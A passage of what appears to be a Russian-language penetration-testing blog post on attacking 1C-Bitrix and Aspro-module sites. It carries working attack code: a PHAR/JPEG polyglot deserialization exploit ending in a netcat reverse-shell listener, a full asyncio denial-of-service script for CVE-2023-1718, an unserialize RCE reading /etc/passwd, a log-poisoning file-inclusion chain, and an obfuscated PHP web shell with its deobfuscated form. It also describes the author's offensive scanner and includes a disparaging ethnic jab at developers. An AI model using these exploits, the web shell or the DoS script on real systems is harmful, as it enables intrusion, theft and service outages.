    path = f"{ROOT_PATH}upload/crm/{path}/bitrix-out.jpg"
    print(f"[+] PHAR uploaded to '{path}'")
    set_progress_data(s, sessid, path)
    print(f"[+] Triggering file_exists phar deserialization")
    threading.Thread(target=trigger_file_exists, args=(s, sessid)).start()
    print("[+] Waiting for reverse shell connection")
    subprocess.run(["nc", "-nvlp", str(PORT)])

Следующие файлы PHP также должны находиться в той же директории:

create_phar.php:

<?php
namespace Bitrix\Bizproc\Activity;
use Bitrix\Bizproc\FieldType;
use Bitrix\Main\ArgumentException;

include("./CCloudsDebug.php");
use CCloudsDebug;
class PropertiesDialog
{
	public $activityFile;
	public $dialogFileName = 'properties_dialog.php';
	public $map;
	public $mapCallback;
	public $documentType;
	public $activityName;
	public $workflowTemplate;
	public $workflowParameters;
	public $workflowVariables;
	public $currentValues;
	public $formName;
	public $siteId;
	public $renderer;
	public $context;
    public $runtimeData = array();

	public function __toString()
	{
		if ($this->renderer !== null)
		{
			return call_user_func($this->renderer, $this);
		}

		$runtime = \CBPRuntime::getRuntime();
		$runtime->startRuntime();

		return (string)$runtime->executeResourceFile(
			$this->activityFile,
			$this->dialogFileName,
			array_merge(array(
				'dialog' => $this,
				//compatible parameters
				'arCurrentValues' => $this->getCurrentValues($this->dialogFileName === 'properties_dialog.php'),
				'formName' => $this->getFormName()
				), $this->getRuntimeData()
			)
		);
	}
}

$cloudDebug = new CCloudsDebug();

$dialog = new PropertiesDialog();


$dialog->dialogFileName = "stexport.php";
$dialog->runtimeData = ["path" => [$argv[1], ""]];

$cloudDebug->head = $dialog;

function generate_base_phar($o){
    global $tempname;
    @unlink($tempname);
    $phar = new \Phar($tempname);
    $phar->startBuffering();
    $phar->addFromString("test.txt", "test");
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($o);
    $phar->stopBuffering();

    $basecontent = file_get_contents($tempname);
    @unlink($tempname);
    return $basecontent;
}

function generate_polyglot($phar, $jpeg){
    $phar = substr($phar, 6); // remove <?php dosent work with prefix
    $len = strlen($phar) + 2; // fixed
    $new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
    $contents = substr($new, 0, 148) . "        " . substr($new, 156);

    // calc tar checksum
    $chksum = 0;
    for ($i=0; $i<512; $i++){
        $chksum += ord(substr($contents, $i, 1));
    }
    // embed checksum
    $oct = sprintf("%07o", $chksum);
    $contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
    return $contents;
}

// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('bitrix.jpg');
$outfile = 'test.phar';
$payload = $cloudDebug;

// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload), $jpeg));

CCloudsDebug.php:

<?php

class CCloudsDebug
{

	public $head = '';
	public $id = '';
}

CVE-2023-1718
#

Этот Python-скрипт предназначен для эксплуатации уязвимости безопасности в Битрикс24, приводящей к атаке типа «отказ в обслуживании» (DoS). Уязвимость, идентифицированная как CVE-2023-1718, позволяет злоумышленнику нарушить нормальную работу экземпляра Битрикс24.

pip install aiohttp
python3 bitrix24dos.py --host <HOST> --site_id <SITE_ID Value> --num_requests <Number of Requests>
#!/usr/bin/env python3

import random
import asyncio
import aiohttp
import re
import argparse

async def preauth(session, host):
    try:
        async with session.get(host, ssl=False) as response:
            data = await response.text()
            return re.search(r"'bitrix_sessid':'([a-f0-9]{32})'", data).group(1)
    except aiohttp.ClientError as e:
        print(f"Failed to access the website: {e}")
        return None

async def DoS(session, sessid, host, site_id, num_requests):
    tasks = []
    for _ in range(num_requests):
        CID = random.randint(0, pow(10, 5))
        url = f"{host}/desktop_app/file.ajax.php?action=uploadfile"
        data = {
            "bxu_info[mode]": "upload",
            "bxu_info[CID]": str(CID),
            "bxu_info[filesCount]": "1",
            "bxu_info[packageIndex]": f"pIndex{CID}",
            "bxu_info[NAME]": f"file{CID}",
            "bxu_files[0][name]": f"file{CID}",
            "bxu_files[0][files][default][tmp_url]": "a:php://stdout",
            "bxu_files[0][files][default][tmp_name]": f"file{CID}",
        }
        headers = {
            "X-Bitrix-Csrf-Token": sessid,
            "X-Bitrix-Site-Id": site_id,
        }

        task = asyncio.create_task(send_request(session, url, data, headers))
        tasks.append(task)

    await asyncio.gather(*tasks)

async def send_request(session, url, data, headers):
    async with session.post(url, data=data, headers=headers, ssl=False) as response:
        pass

async def main(host, site_id, num_requests):
    async with aiohttp.ClientSession() as session:
        sessid = await preauth(session, host)
        if sessid is not None:
            await DoS(session, sessid, host, site_id, num_requests)
        else:
            print("Aborting due to website access failure.")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Bitrix24 Improper File Stream Access DoS")
    parser.add_argument("--host", required=True, help="Target host URL")
    parser.add_argument("--site_id", required=True, help="SITE_ID value")
    parser.add_argument("--num_requests", type=int, default=1000, help="Number of requests to send")
    args = parser.parse_args()

    asyncio.run(main(args.host, args.site_id, args.num_requests))

Подробнее тут

Уязвимые модули
#

У битрикса существует невероятное множество отборнейшего… кхм.. модулей. Они, я полагаю, пишутся индусами на коленке и внедряются в прод без малейших сомнений. Иначе я просто не знаю, как объяснить такое количество уязвимостей в их коде. Я скачал 30 случайных модулей из официального маркетплейса и знаете что? 24 из них были с уязвимостями… это при том, что я особо не тыкался, возможно все 30 из них уязвимы).

Кстати, цена этих модулей - тема для отдельной дискуссии. Я честно не понимаю, как эти php костыли могут столько стоить.

Описание изображения

Нет, ну серьёзно, вот, например, Слоны сделали календарь за 400 тысяч рублей.

Описание изображения

Причем, судя по отзывам, он еще и не сразу ставится.

Описание изображения

Реестр уязвимостей сторонних модулей
#

Относительно недавно создали отдельный реестр уязвимостей в таких модулях. Там разумеется не всё, даже я бы сказал, что там почти ничего нет, ведь никто эти модули не тестирует, но это хоть что-то.

Описание изображения

Причём это только публичные модули, которые на самом деле составляют меньшинство. Чаще всего встречаются так называемые “самописы”. Они появляются, когда компания не хочет платить огромные деньги за модуль, добавляющий одну кнопочку, и решает написать его самостоятельно, игнорируя все стандарты безопасной разработки.

Такие самописы встречаются практически на любом сайте с битриксом. Ведь из-за стоимости, базовую задачу или бизнес процесс в битриксе компании усердно пытаются решить самостоятельно, заставляя непонятно кого писать .php костыли

Все модули по умолчанию располагаются в директории /local/

Тут, думаю, стоит рассказать подробнее.

Директория /local/
#

Чтобы сделать жизнь разработчиков проектов удобнее, в ядре D7 с версии главного модуля 14.0.1 основные файлы пользовательских проектов вынесены из папки /bitrix/ в папку /local/. Что позволяет изолировать изменяющиеся файлы проекта от папки продукта.

Причем /local/* не попадает под защиту встроенного в Битрикс WAF, а значит фильтрация там уже не спасёт. Соответственно все кастомные модули у нас теперь мало того, что дырявые, так ещё и беззащитные.

meme

Давайте разберем основные директории обрабатываются в /local/

  1. activities — действия БП

В этой директории хранятся пользовательские действия для бизнес-процессов, которые могут быть использованы для автоматизации различных процессов на сайте. Это может быть создание задачи, отправка уведомлений, изменение статусов и прочее.

Пример:

/local/activities/SendEmail.php
  1. components — компоненты

Здесь хранятся как пользовательские компоненты, так и переопределенные стандартные компоненты 1С-Битрикс. Компоненты — это блоки функционала, которые можно многократно использовать на сайте, такие как формы, списки, галереи и т. д.

Пример:

/local/components/my_component/detail.php
  1. gadgets — гаджеты рабочего стола

Гаджеты — это небольшие элементы интерфейса, которые можно добавить в административную панель для быстрого доступа к данным или действиям. Например, показывать статистику, новости, или уведомления о событиях.

Пример:

/local/gadgets/dashboardWidget.php
  1. modules — модули

Вот именно сюда советую бить в первую очередь

Это место для хранения кстомных модулей, которые могут добавлять новую функциональность в систему. Например, модули для интеграции с внешними сервисами или для выполнения специфических задач.

Пример:

/local/modules/my_module/include.php

В этом файле будет храниться логика работы модуля, например, подключение API.

  1. php_interface — файлы init.php и dbconn.php , папка user_lang

Здесь содержатся все скрипты, которые отвечают за настройку и кастомизацию работы Битрикс. В этой папке обычно размещаются:

  • init.php — файл инициализации, где подключаются все необходимые компоненты, классы и модули.

  • events.php — обработчики событий, которые добавляют собственную логику в стандартные процессы.

  • constants.php — файл с константами, которые могут использоваться в проекте.

Пример структуры:

/local/php_interface/
  init.php
  events.php
  constants.php
  classes/
    User.php
  1. templates — шаблоны сайтов, шаблоны компонентов, шаблоны страниц

Топ 2 место куда надо бить, после модулей. Все XSS-ки вероятно будут торчать именно тут

Эта папка содержит все кастомные шаблоны для вашего сайта. Здесь могут храниться как основные шаблоны сайта, так и шаблоны отдельных компонентов.

Пример:

/local/templates/my_template/header.php

Файлы с включаемыми областями, которые подключаются в шаблоне и хранятся в папке с шаблоном сайта (/local/templates/имя_шаблона/includes/).

  1. blocks — блоки Сайтов24

Для удобства и согласованности стилей в проекте используются блоки, как в подходе БЭМ. Применяются в модульных элементов интерфейса.

Пример:

/local/blocks/button/button.css 
/local/blocks/form/form.js
  1. routes — файлы с конфигурацией маршрутов роутинга

Если в проекте используется роутинг (например, для REST API или кастомных маршрутов для страниц), то все настройки маршрутов и их обработчиков размещаются в этой директории.

Пример:

/local/routes/apiRoutes.php
  1. js — скрипты для собственных решений

Все скрипты и библиотеки для фронтенда также стоит хранить в этой папке. Она будет удобна для организации кастомных решений, таких как интерактивные элементы на страницах.

Пример:

/local/js/jquery.min.js 
/local/js/myCustomScript.js
  1. /local/images — Изображения и файлы для шаблонов

Все изображения для шаблонов, шрифты или прочие статические файлы, которые не имеют отношения к функционалу, хранятся в директории /local/images.

Пример:

/local/images/logo.png

С версии 24.100.0 главного модуля в папке /local/ могут быть размещены файлы настроек параметров ядра .settings.php и .settings_extra.php. При обработке папок приоритет всегда у папки /local/ перед /bitrix/. Это означает, что если в /local/templates/ и /bitrix/templates/ будут находиться шаблоны сайта с одинаковым названием, то подключится шаблон из /local/.

Структура самописного модуля
#

Партнерские модули отличаются от стандартных модулей следующим:

ID модуля - полный код партнерского модуля, который задается в формате: код_партнера.код_модуля.

Часть код_партнера постоянна для партнера (задается в карточке партнера). Часть код_модуля вводится партнером при добавлении нового модуля (тут может быть любой bullshit). Но эти коды должны быть алфавитно-цифровыми, при этом первым символом не может быть цифра.

Чтобы не путаться, многие стараются назвать код так, чтобы он соответствовал сути модуля. Например, для модуля форума желательно задать код forum. Тогда полный код будет mycompany.forum.

Использование точки для разделения кода партнера и кода модуля закреплено функционалом битрикса, поэтому формат всегда одинаковый. При поиске самописов иногда есть смысл пофазить названия, зная особенности формата.

Aspro
#

Пожалуй, самые популярные на данный момент модули - это модули Аспро.

Соответственно и ломают их чаще.

Описание изображения

Да и самих модулей Aspro столько, что, как будто бы, у них совершенно нет времени думать о безопасности.

Интернет-магазины
#

Корпоративные сайты
#

Отраслевые сайты
#

Устаревшие модули
#

  • Аспро: Digital
  • Аспро: Интернет-магазин
  • Аспро: Крутой шоп
  • Аспро: Ландшафт
  • Аспро: Медицинский центр 2.0
  • Аспро: Курорт
  • Аспро: Стройка
  • Аспро: Шины и диски
  • Аспро: Приорити

Как правило, если вы нашли уязвимость в одном модуле Aspro, она встретится и в другом, т.к по большей части, модули отличаются только ценой и названием. Основа у всех одинаковая.

Отдельная история, как они пытаются исправлять уязвимости.

Описание изображения

Оказывается, что они обо всех уязвимостях в курсе, просто не афишируют. Не знал, что так можно было)

Потом правда все равно зачем-то в экстренном порядке делают “патчер”, который налепливает на дырку костыль.

Описание изображения

Сам патчер нужно просто закинуть в корень сайта, откуда он будет доступен всем желающим из интернета.

Описание изображения

Забавно, что иногда он доступен даже после фикса и мы можем зайти самостоятельно “пропатчить” целевой сайт.

/fixit.php

RCE by Insecure deserialization
#

Взломы и попытки получения доступов к ресурсам c Aspro фиксировались с конца августа 2024 года. Точкой входа были уязвимые скрипты reload_basket_fly.php, show_basket_fly.php, show_basket_popup.php. Файлы находятся в директории /ajax/ в корне сайта, например /var/www/www-root/data/www/test.by/ajax/.

Описание изображения

Эти файлы недостаточно проверяют пользовательский ввод, а также используют небезопасную функцию unserialize в php, из-за чего злоумышленник может внедрить в тело POST-запроса вредоносный код, который будет выполнен при десериализации, реализовав тем самым удаленное выполнение кода (RCE).

В переменную «arParams» записывается информация из запроса, в который можно добавить полезную нагрузку: например, cat /etc/passwd. Ответ от сервера будет содержать информацию из /etc/passwd в теге.

Описание изображения

Пример эксплуатации уязвимости:

Описание изображения

При создании запроса к эксплуатируемому файлу на ресурсе сначала необходимо привести полезную нагрузку в специальный формат, а именно сериализовать. Для этого достаточно указать сам вредоносный код и его длину. Именно поэтому при передаче в качестве полезной нагрузки, например, команды "cat /etc/passwd" предыдущим значением идёт число 15.

Описание изображения

Результат выполнения команды “id” говорит о том, что все действия осуществляются из-под учетной записи bitrix.

https://dev.1c-bitrix.ru/support/forum/forum6/topic160668/

Список потенциально уязвимых эндпоинтов:

/ajax/reload_basket_fly.php
/ajax/show_basket_fly.php
/ajax/show_basket_popup.php
/ajax/php.ini
/ajax/error_log_logic.php
/ajax/js_error.php
/ajax/form.php
/assets/images/accesson.php
/bitrix/wizards/aspro/max/site/public/ru/ajax/reload_basket_fly.php
/bitrix/wizards/aspro/max/site/public/ru/ajax/show_basket_fly.php
/bitrix/wizards/aspro/max/site/public/ru/ajax/show_basket_popup.php
/include/mainpage/comp_catalog_ajax.php
/bitrix/wizards/aspro/max/site/public/ru/include/mainpage/comp_catalog_ajax.php
/bitrix/components/aspro/oneclickbuy.max/script.php
/bitrix/components/aspro/oneclickbuy.next/script.php
/bitrix/components/aspro/basket.file.max/class.php
/bitrix/components/aspro/basket.file.max/templates/xls/dompdf/vendor/dompdf/dompdf/lib/Cpdf.php
/bitrix/components/aspro/basket.file.max/templates/xls/dompdf/vendor/dompdf/php-svg-lib/src/Svg/Surface/CPdf.php
/bitrix/components/aspro/basket.share.detail.max/class.php
/bitrix/components/aspro/catalog.delivery.max/ajax.php
/bitrix/components/aspro/smartseo.tags.max/class.php
/bitrix/components/aspro/oneclickbuy.max/script.php
/bitrix/modules/aspro.max/admin/crm_amo.php
/bitrix/modules/aspro.max/admin/pwa.php
/bitrix/modules/aspro.max/admin/options.php
/bitrix/modules/aspro.max/admin/smartseo/views/filter_condition/_form_condition.php
/bitrix/modules/aspro.max/admin/smartseo/views/seo_text/detail_element/partial/condition_control.php
/bitrix/modules/aspro.max/admin/smartseo/views/seo_text/detail_element/_form.php
/bitrix/modules/aspro.max/admin/options_ym.php
/bitrix/modules/aspro.max/admin/crm_flowlu.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/services/main/settings.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/map.google.view/map/template.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.detail/main/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/front_map/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/front_map3/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/front_map2/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.list/main/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.amount/popup/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.store.amount/main/result_modifier.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/sale.order.ajax/v2/ajax.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/ajaxLike.php
/bitrix/modules/aspro.max/install/wizards/aspro/max/site/templates/aspro_max/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/like.php
/bitrix/modules/aspro.max/install/components/aspro/basket.file.max/class.php
/bitrix/modules/aspro.max/install/components/aspro/basket.share.detail.max/class.php
/bitrix/modules/aspro.max/install/components/aspro/basket.share.detail.max/ajax.php
/bitrix/modules/aspro.max/install/components/aspro/catalog.delivery.max/ajax.php
/bitrix/modules/aspro.max/install/components/aspro/smartseo.tags.max/class.php
/bitrix/modules/aspro.max/install/components/aspro/oneclickbuy.max/script.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/graminfo/graminfo.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/shm_utils.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/gramtab.php
/bitrix/modules/aspro.max/vendors/phpmorphy/phpmorphy-0.3.7/src/morphiers.php
/bitrix/modules/aspro.max/vendors/dompdf/lib/html5lib/Data.php
/bitrix/modules/aspro.max/vendors/dompdf/lib/Cpdf.php
/bitrix/modules/aspro.max/vendors/dompdf/lib/php-svg-lib/src/Svg/Surface/CPdf.php
/bitrix/modules/aspro.max/classes/general/CMaxEvents.php
/bitrix/modules/aspro.max/classes/general/CMax.php
/bitrix/modules/aspro.max/classes/general/CMaxTools.php
/bitrix/modules/aspro.max/classes/general/CAsproMarketing.php
/bitrix/modules/aspro.max/classes/general/mailing_functions.php
/bitrix/modules/aspro.max/classes/general/CAsproMarketingMax.php
/bitrix/modules/aspro.max/classes/smartseo/admin/controllers/FilterUrlController.php
/bitrix/modules/aspro.max/classes/smartseo/admin/controllers/NoindexRulesController.php
/bitrix/modules/aspro.max/classes/smartseo/admin/controllers/FilterTagController.php
/bitrix/modules/aspro.max/classes/smartseo/admin/grids/NoindexRuleConditionGrid.php
/bitrix/modules/aspro.max/classes/smartseo/admin/grids/FilterRuleConditionGrid.php
/bitrix/modules/aspro.max/classes/smartseo/admin/grids/FilterRuleUrlGrid.php
/bitrix/modules/aspro.max/classes/smartseo/engines/SearchEngine.php
/bitrix/modules/aspro.max/lib/searchquery.php
/bitrix/modules/aspro.max/lib/pwa.php
/bitrix/modules/aspro.max/lib/functions/CAsproMax.php
/bitrix/modules/aspro.max/lib/gs.php
/bitrix/modules/aspro.max/lib/smartseo/template/entity/FilterRuleConditionProperty.php
/bitrix/modules/aspro.max/lib/smartseo/template/entity/SeoTextElementProperties.php
/bitrix/modules/aspro.max/lib/smartseo/template/entity/FilterRuleUrl.php
/bitrix/modules/aspro.max/lib/smartseo/generator/handlers/PropertyUrlHandler.php
/bitrix/modules/aspro.max/lib/smartseo/models/smartseonoindexconditiontable.php
/bitrix/modules/aspro.max/lib/smartseo/models/smartseofiltertag.php
/bitrix/modules/aspro.max/lib/smartseo/condition/controls/IblockPropertyBuildControls.php
/bitrix/modules/aspro.max/lib/smartseo/condition/ConditionResult.php
/bitrix/modules/aspro.max/lib/smartseo/condition/bxcond/catalog_cond.php
/bitrix/modules/aspro.max/lib/smartseo/condition/ConditionResultHandler.php
/bitrix/modules/aspro.max/tools/smartseo/get_property_values.php
/bitrix/templates/aspro/components/bitrix/map.google.view/map/template.php
/bitrix/templates/aspro/components/bitrix/catalog.store.detail/main/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/front_map/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/front_map3/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/front_map2/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.list/main/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.amount/popup/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.store.amount/main/result_modifier.php
/bitrix/templates/aspro/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/ajaxLike.php
/bitrix/templates/aspro/components/bitrix/catalog.comments/catalog/bitrix/blog.post.comment/adapt/like.php

Пример уязвимого кода:

<?require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");?>
<div id="basket_preload">
<?include_once("action_basket.php");?>
<?$arParams = unserialize(urldecode($_REQUEST["PARAMS"]));?>

<?$APPLICATION->IncludeComponent( "bitrix:sale.basket.basket.line", "normal", $arParams, false, array("HIDE_ICONS" =>"Y") );?>
</div>

Функция unserialize уязвима для внедрения в тело запроса вредоносного класса. В документации php на эту функцию есть параметр 'allowed_classes' => false, который запрещает внедрение классов в сериализованные массивы. Вот этого параметра в Аспро и не было.

PoC
#

Данная уязвимость заключается в доступности конечного адреса '/ajax/error_log_logic.php' системы и отсутствии проверки входных данных в параметре 'data=' запроса к данному URI. Это позволяет злоумышленнику отправить запрос следующего вида:

https://Target-aspro.com/ajax/error_log_logic.php?data=<?php ...payload... ?>

Который вызовет обращение к внутреннему модулю ‘/ajax/js_error.php’ системы:

GET /ajax/js_error.php?data=<?php ...payload... ?>

Что приводит к записи значения параметра ‘data=’ в лог-файл /ajax/js_error.txt системы.

Далее путем отправки злоумышленником серии запросов:

GET /ajax/form.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt
GET /form/index.php?form_id=TABLES_SIZE&url=/ajax/js_error.txt

Происходит включение содержимого ранее записанного файла /ajax/js_error.txt в тело ответа сервера на запросы. Это приводит к исполнению полезной нагрузки и компрометации веб-сервера.

Пример веб-шелла:

<?=409723*20;if(md5($_COOKIE[d])=="\61\x37\60\62\x38\146\x34\70\67\143\142\x32\141\70\x34\x36\x30\67\x36\64\x36\x64\141\63\141\144\63\70\67\x38\145\143"){echo"\x6f\x6b";eval(base64_decode($_REQUEST[id]));if($_POST["\165\160"]=="\165\x70"){@copy($_FILES["\x66\151\x6c\x65"]["\164\155\x70\x5f\x6e\x61\x6d\x65"],$_FILES["\146\x69\154\x65"]["\156\141\155\x65"]);}}?>

Деобфусцированный веб-шелл:

<?php 
  echo 409723*20;
  if(md5($_COOKIE["d"])=="17028f487cb2a84607646da3ad3878ec")
  {
    echo"ok";
    eval(base64_decode($_REQUEST["id"]));
    if($_POST["up"]=="up")
    {
      @copy($_FILES["file"]["tmp_name"],$_FILES["file"]["name"]);
    }
  }
?>

Поиск интересных директорий и файлов
#

В Битриксе очень часто торчат различные интересные файлики и эндпоинты, что зачастую так же может быть вектором атаки. Для их поиска можно использовать cловарь многоуважаемого Bo0oM. Но он составлен в первую очередь для поиска доступных эндпоинтов из под учетной записи Bitrix и с ним особо ничего торчащего, к сожалению, найти не получится.

Поэтому я составил свой словарь, содержащий в себе все, что я встречал во время пентестов (cо временем будет дополняться).

Huitrix_wordlist.zip

При желании, можно прогонять не весь этот огромный словарь, а только то, что встречается чаще всего.

Еще oдин из методов, как можно узнать, какие эндпоинты существуют (например в кастомных модулях, к которым у нас нет доступа), это обычные google dorks. Индексация штука грозная)

1

2

Сканер под bitrix - “huitrix”
#

При очередном тестировании сайта на 1С-Битрикс я осознал, что абсолютно не хочу снова проверять все это вручную. Но существующие сканеры либо ограничены базовыми тестами, либо не учитывают специфику CMS. Решение? Написать свой инструмент — Huitrix (пока в приватном доступе, следите за анонсами в Telegram).

Структуру решил сделать модульной, чтобы в случае чего просто добавить новый функционал. На данный момент сканер уже умеет всё, что умели его предшественники. +Добавил автоматизацию по бруту существующих пользователей и регистрации новых. A самое главное, он умеет искать и парсить кастомные (самописные) модули.

Структура сканера:
#

Описание изображения

Fast scan
#

Модуль быстрого сканирования. Содержит все основные проверки (XSS, LFI, CWE-200, etc.). Под капотом использует nuclei, при желании ему можно подкидывать свои кастомные шаблоны.

Описание изображения

Full Scan
#

Тоже самое, что и Fast scan, но шаблонов не 50, а 5000. Избыточно, но иногда что-то да выстреливает.

Detect Version
#

Модуль анализирует различные общеизвестные паттерны, присущие определенным версиям битрикс, после чего определяет наиболее вероятную используемую версию.

Описание изображения

Entrance Finder
#

Модуль для автоматизированного поиска эндпоинтов авторизации.

Описание изображения

Найденные пути автоматически записываются в файл output/<TARGET>/bitrix_admin_endpoints.txt

Описание изображения

RCE modules
#

Vote agent

Запускает PHP exploit vote_agent.php на указанную цель.

Описание изображения

HTML Editor Action

Запускает PHP exploit html_editor_action.php на указанную цель.

Описание изображения

Landing

Запускает PHP exploit landing_RC_to_RCE.php на указанную цель.

Enum Bitrix Users
#

Модуль перечисления существующих пользователей. Работает по словарю, расположенному по пути assets/users_list.txt. При желании, словарь можно редактировать или вообще заменить на свой.

Описание изображения

Spawn Bitrix User
#

Модуль спавна собственного пользователя. Предусматривает наличие капчи на целевом сайте.

Модуль проверяет все ему известные способы регистрации пользователя и пытается самостоятельно его зарегистрировать. В случае, если попалась капча, даёт ссылку на картнку и просит помочь с её решением (ИИ сюда ещё не подключил).

Описание изображения

Если видим надпись “Enter the captcha word”, нужно тыкнуть по предоставленной ссылке. Там будет картинка с капчей.

Описание изображения

Ответ вводим в консоль, после чего получаем аккаунт.

Также может потребоваться почта, если на сайте реализована отправка проверочного кода.

Описание изображения

В этом случае нужно будет ввести свою почту, на которую прилетит код подтверждения. Можно использовать временные почты.

Описание изображения

Переходим по ссылке в письме, получаем аккаунт.

Detect custom modules
#

Модуль поиска кастомных/самописных модулей битрикс и путей к ним. Может генерировать значительное количество запросов на цель, но не блокируется защитными средствами (кроме qrator в aggressive mode).

Описание изображения

Все интересные пути автоматически сохраняет в ./output/TARGET/local_sitemap.txt

После лутинга достаточно просто перейти на собранные пути, обычно там везде очевидный вектор атаки.

References
#

Собрал все полезные ссылки по битриксу в одном месте.

Github
#

BDU
#

Habr & Telegra.ph
#

Telegram
#

Other
#